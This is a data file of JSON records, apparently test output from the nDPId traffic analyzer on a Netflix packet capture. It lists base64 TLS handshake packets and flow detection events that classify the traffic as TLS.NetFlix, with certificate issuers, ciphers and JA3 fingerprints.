+02377{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":87423,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcCChAACkGieA0IMQkwKgBBwG7z3ve3dMFx8tLV4AQAEsFpwAAAQEICrabxX0fZLiyAQICECguJ5F5M5LkKPIhp07JN64wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EEiRzPwlTkDM7pzmCEjbxZ0dTNANWnimpFL7rKObrHh\/1avNxewMekmIg0PSl8wJmSRrFqV3XnL5LQlwbdboDfXAQBAQBa38lDoF0AcuNl+zpRqBhMyNtiR9ndmFAWRajh\/wqehraL7uzK74TQ\/eVA+7Y3M6zgKg2ReOysRDIfD6ZaT7Hbqj1ogI5CWZQ="} +01275{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":49,"source":"netflix.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":7,"flow_first_seen":1484319032984,"flow_last_seen":1484319033087,"flow_tot_l4_data_len":3372,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":481,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53115,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","server_names":"api-latam.netflix.com,htmltvui.netflix.com,api-eu.netflix.com,uiboot.netflix.com,api-global.netflix.com,api-user.netflix.com,api-us.netflix.com,api.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=api.netflix.com","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"FC:5B:F6:86:AE:E5:22:0D:60:0C:C3:DF:8F:02:80:3F:A3:60:0E:3C"}} +00422{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":88928,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0RaBAAEAGOzDAqAEHNCDEJM97AbvHy0tX3t3YrYAQD9K8rgAAAQEICh9kuOW2m8V9"} +00422{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":98473,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0QOhAACoGVcg0IMQkwKgBBwG7z3xLWYWU8HlOFIAQAEuHmAAAAQEICrabxX0fZLi0"} +02367{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":98983,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcQOlAACoGUB80IMQkwKgBBwG7z3xLWYWU8HlOFIAQAEtu0gAAAQEICrabxX4fZLi0FgMDAFkCAABVAwNYeOk5MYnybh8eTCpMplOR5UUdI4\/RwQn9xuZp1Z7auCCumkX9HtWv\/974df5VzRYePKjb1+omhktiqBKmGEtDEcAvAAAN\/wEAAQAACwAEAwABAhYDAwpTCwAKTwAKTAAFLTCCBSkwggQRoAMCAQICEEyDi0+FfvCSTifwFgngw9wwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQHDAlsb3MgZ2F0b3MxFjAUBgNVBAoMDU5ldGZsaXgsIEluYy4xDDAKBgNVBAsMA09wczEYMBYGA1UEAwwPYXBpLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr0Z0vVg0+uwRnQgMqpd9ZwS7jp+haqVMWt\/aP2iVEz0YnjzxpK71leEdLOvCa7xXvw6qvgJgviQpWWaZLbuMx4dZ0wdQrWbFtuiNWVROO9UKlOR7zkSpBQBHjL8PDMR8GxjYhY0z9ub1P+ar3lsbL0PqJTXnpC4+5jliGtK7hBDnRBzIyN17GbPKT0EY9qzw2OhysiseSVIpeA2uTMsdjCuCJ8U2+vpz4RKQMVBcZpbGTOowLQya0VARHJxNv8MoepZLmqpbClDmpaWt6xW2h2cjWruIsD\/YQ7jbkhDSwodDubij58Mu5BWLQ+l4PPUsjmGAv3yZxbVcRpS6Wlm4uQIDAQABo4IBqTCCAaUwgbMGA1UdEQSBqzCBqIIVYXBpLWxhdGFtLm5ldGZsaXguY29tghRodG1sdHZ1aS5uZXRmbGl4LmNvbYISYXBpLWV1Lm5ldGZsaXguY29tghJ1aWJvb3QubmV0ZmxpeC5jb22CFmFwaS1nbG9iYWwubmV0ZmxpeC5jb22CFGFwaS11c2VyLm5ldGZsaXguY29tghJhcGktdXMubmV0ZmxpeC5jb22CD2FwaS5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQAdulHmLmvIdudqnSfhfmUEAkyAOEjgZ6H0k6BxmsH9zCQp6kh2Gn+6dw6yfgP+i+rrY5dJH59AnS0VSYm9l6Z2Q+oxBW3bKnGXHyAdm+pn0xnaoyVjvtsX5c1CZkwU+uzR+tLsC8xb0LDX0GTepgBR9Gv6C4+xg9+2VPA+fWZFwOvKONHO7uIp4D+u7Hmp1WMg8XA8cm2R59JkzTy56a2qikZCBk0Iiv6tg1u4MVCfWygHnmBNLR0RYC6LqagZzsJF6hfv7jbweV24LQUbdNELDCtEH0VUYn5jzB7SmHZg8RPHU5ZesfRgzs6ULuupnucw3hatgscIhcAN2cOcz9cQAAUZMIIFFTCCA\/2gAwI="} +00819{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":52,"source":"netflix.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1484319032986,"flow_last_seen":1484319033098,"flow_tot_l4_data_len":1892,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":315,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53116,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02380{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":112752,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcQOpAACoGUB40IMQkwKgBBwG7z3xLWYs88HlOFIAQAEsLYwAAAQEICrabxX4fZLi0AQICECguJ5F5M5LkKPIhp07JN64wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EEiRzPwlTkDM7pzmCEjbxZ0dTNANWnimpFL7rKObrHh\/1avNxewMekmIg0PSl8wJmSRrFqV3XnL5LQlwbdboDfXAQBAQAitn9kTw3+unW\/ujQfFSe9Oz2ZOcGfrv8U6ks7FNBylKqrpcFr4PPgKC4Ru\/70UoqDFujO07F2q\/Dkj8tk\/pIgteQluMx2hh4="} +01275{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":53,"source":"netflix.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":7,"flow_first_seen":1484319032986,"flow_last_seen":1484319033112,"flow_tot_l4_data_len":3372,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":481,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53116,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","server_names":"api-latam.netflix.com,htmltvui.netflix.com,api-eu.netflix.com,uiboot.netflix.com,api-global.netflix.com,api-user.netflix.com,api-us.netflix.com,api.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=api.netflix.com","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"FC:5B:F6:86:AE:E5:22:0D:60:0C:C3:DF:8F:02:80:3F:A3:60:0E:3C"}} +00423{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":114247,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0k5hAAEAG7TfAqAEHNCDEJM98AbvweU4US1mQ5IAQD9JsdgAAAQEICh9kuP62m8V+"} +00424{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":135620,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0FjNAACkGMdA2vxEzwKgBBwG7z3pSqTmxuzQ7nIAQAElYzwAAAQEICq2KOdQfZLjf"} +00692{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":136173,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"5JjWH70UgCqoTGHMCABFIAD1CClAACkGjsY0IMQkwKgBBwG7z3ve3ditx8tLV4AYAEt0ZQAAAQEICrabxX0fZLiyWQKkNZoSrUszZ4qy7zmILw8VGJ\/NGQgj4Oar7Y1XPyxQfZge5xF8y9306OAC\/RBJ+1kQXkJv0zDJBhz6J9okGy44XOu4xmHehXiTS1Qg3XNbCvmNc0Ey\/akj1K5Oqozmq1kuZm034IjBudqoG27PZVSS4Rj\/hxr89xeOdWbPp6wUr\/ydmIkhPKloKEUikMYMUywCfuRlmmyySytrjAlu4FPNkDMco2\/Hy7l3h83hw5nYG2TWA3FgkRYDAwAEDgAAAA=="} +00425{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":137301,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA07ldAAEAGknjAqAEHNCDEJM97AbvHy0tX3t3ZboAQD\/m7lwAAAQEICh9kuRS2m8V9"} +00691{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":138363,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"5JjWH70UgCqoTGHMCABFIAD1QOtAACoGVQQ0IMQkwKgBBwG7z3xLWZDk8HlOFIAYAEsI3QAAAQEICrabxX4fZLi0ol2rvWNvOmgSi8vX8sVicT3YIx9ETqt\/6ApKfujT5pADMbtTIuvwqoOMDAEGPrXGK8sZ+FJYiKGD3lZlcXKoS1q\/ymU1NYpwc0nV\/c3WYtlIOyJTg7MwT3UJP7vnb8HkHI1EY35WWoIbutQT95QGH5MnpR93maiH3VE5AeomKzue2hMVMr0d4\/DoxSJ\/k9lux2BhRU2HzqLKyfMK7KIpD8PITD5PfGCVawoprWKKoWGtoor2RKAqIxYDAwAEDgAAAA=="} +00425{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":140736,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0ks9AAEAG7gDAqAEHNCDEJM98AbvweU4US1mRpYAQD\/lrdQAAAQEICh9kuRe2m8V+"} +02390{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":142868,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcFjRAACkGLCc2vxEzwKgBBwG7z3pSqTmxuzQ7nIAQAEnuIAAAAQEICq2KOdcfZLjfFwMDBrkz4sNc9LlmbeXLWSUm0FWCaOn\/hJq+DX19PyVs9nIb0Xb9HsluvgquU0g6ls6q57jcLfD4hPUX+reRTZsdyzNUZ8PnbdSJ1tx4cFHwi9FMDyPXNcZ8hEKhlhr7mfhz4EElpYSSbICC59OnCfNxmnhMAnmpr14QBnMjicHjUYhmppEJfj1fNyTVojh2phwIWoTH804EeGlH8vMwXR3a8PqjH3oo56mzKC37qwKAzC2QQWWDuTWsLuwwxAG6quSyZ7MrNKsyIsOHGCW77ILIbNxtQmcTykKfBv2kZus2KJ95mgSrpX612WlkLa5v7dhdzjSLIAbv87QYMKuQbcuMKvrFZp9lqmJii\/e4s7QowMJzo6qnW1T8jwi20kFjYX903PBniFO+zj7oXVpyh2qeeIU3ViVx2jfGVvLeMBG904YyKjwfWSZ4AKLxIPL0O4UvpQ5HnN+dygBxehsiwMA2ed55805IC38fkE544zHJN0hVR66wLt7GvTJ09ZkxE+q\/rB8olSOg2ZjQA\/Z49KlxQUXggnWILWSCy13AyVB0Ef3cKp6LcMST69UE7TM3L7EfX5i7vpf+lozw8r9ONcq3HjVpOjl+nA7k4zcFjtdP3Acl9K4IXrkcErLEHr\/rYnOD5E19GSO7L7VG4U2JyBBDOYq4V\/2PLc5aBmBiCVW2YE9p+6w6NXhIhGBHM5EGHGwVk5RNcGH4\/CIlZEOHtxN3TzXOrAr7ZR4l3hy0mU4l61rwce55ctoUSJKaRdnnU3HpEdvUfgOS9Haugo4OTu5JlrsE9Jh9XwFrXu7l\/0C0gm22Fq4Q1ZAce2ZdybAQ080aczQuoE\/+7wAZ6XZM\/wImc5iJpj5xebwgLOi1l15iTjztJuAZtRw3yXzomac+xwGNWhEc3kkkKzjaI+ROyxzw5ImgvRXmjeGrxDZ5QW1baSbnmr1TU3LOWhipy8nBn26yg+NdbmxvORnOVG8kC8TjVOcjE5jsamQFalvi+dM40Thy2\/r+LS5rq8jYso\/2GFudhgoy+cJ9dAL9n8W7C8Hh3lVWCPOS8BPY04iXxZ5sM0n9EAbtoPwaaiXltyldVaR5\/JGWmI+Wc6zR\/mGZDHTVT747YB6KuTfdX7cb72PzMKQ1kW\/\/BOXGzBuNC17w12XBl3KGdaw\/dB+oK0V3ssbG7OcT8S9++kwJdtaz8XovY5Dj7u3PLt4Cjv9Kj+7Nh8XmoL06z6lc5wj4LJ3fVnhUg0D0qeWmpbSVV3d3iu8BVTbkxdTReI4yFywc\/KTCrMlMqhZgLe8OqvUXbRuiOM7+wwRFSjmV8iUYeoPj5CiOJ6YwyAdJ7ldavtRrrnZ+rKHprMhImTRa8rP60Kv5taKiitbCauyqUtujlMYiDVBwSIULITCOaDrdLcpFnFvyd6jstT92o2vk6pGlKq7tY1BmSHWt4Ie8sfUdqiL2rDAb2PDNE7eIzSSzoJh9HntPNMAYX8lJQAdkyca\/iK13vAYHov6w1D8ZCHYMsRvHuceJIhaDgeqeKkuU6pVAmFAbzvs1ZWNCjaRfiS6n1oxE4nzBL\/rPEbpNyzpbyFVzpnT58eFDsbRIzLV1lYOX3tmQlyZP7TpmtKshX0cWwqFCB+uJr2eaI8OV3sw400KJ\/Lmp17kZI6sEygw+INbmudVDUAukmQtMdoH9j3\/T5n5m+rK\/jea0akocbB9\/+37kj0QLfEGv9RFkTWfREVcJWacblZ77hqyP9fOwk\/lSf9fL6tV9rj+32ioK4Q2\/kGEZCNo35+fh17PqEeiKj5uyrJm4Hwt8XyPL\/4IQOpqTyv4d1A1zHP2GDQJaNnk9jOwLWjGVEvw0e2zQ1fUPZxj4VVILHL2TlcfEvdAyWOSYucaJLhJbIOsqTOqsY\/0jG8A6p8cHp9lrI8wbQs7nmiBm45hECh3RKwR9h7Q="} +00529{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":151979,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/cjBAAEAGDlXAqAEHNCDEJM97AbvHy0tX3t3ZboAYEAA4MgAAAQEICh9kuSC2m8V9FgMDAEYQAABCQQQyJQYAwInFtNlIK+ObsmT7yNb6TMI6+WQnnuD7gjhdT2mUSONMTjE8\/kqR8NTbVlA6O0MgTDumy7hgdIMMu+pO"} +00432{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":152343,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6E2ZAAEAGbWTAqAEHNCDEJM97AbvHy0ui3t3ZboAYEACjJwAAAQEICh9kuSC2m8V9FAMDAAEB"} +00487{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":152637,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABh7bNAAEAGku\/AqAEHNCDEJM97AbvHy0uo3t3ZboAYEACDhwAAAQEICh9kuSC2m8V9FgMDACgK+SAlrj44RWDLuZfK+d7j+eR7EPXutjB5o1oYwdMak5eI1sUoSzZC"} +00529{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":156358,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/WuZAAEAGJZ\/AqAEHNCDEJM98AbvweU4US1mRpYAYEABcAAAAAQEICh9kuSS2m8V+FgMDAEYQAABCQQSrnnv1KUnDdGLR3Ev4lP5wydpBAzHpntHEUDqGi9EhNO5Qd+zCZD78sbmGgVlLSx42tity6aH1tKaEX5ATJEiD"} 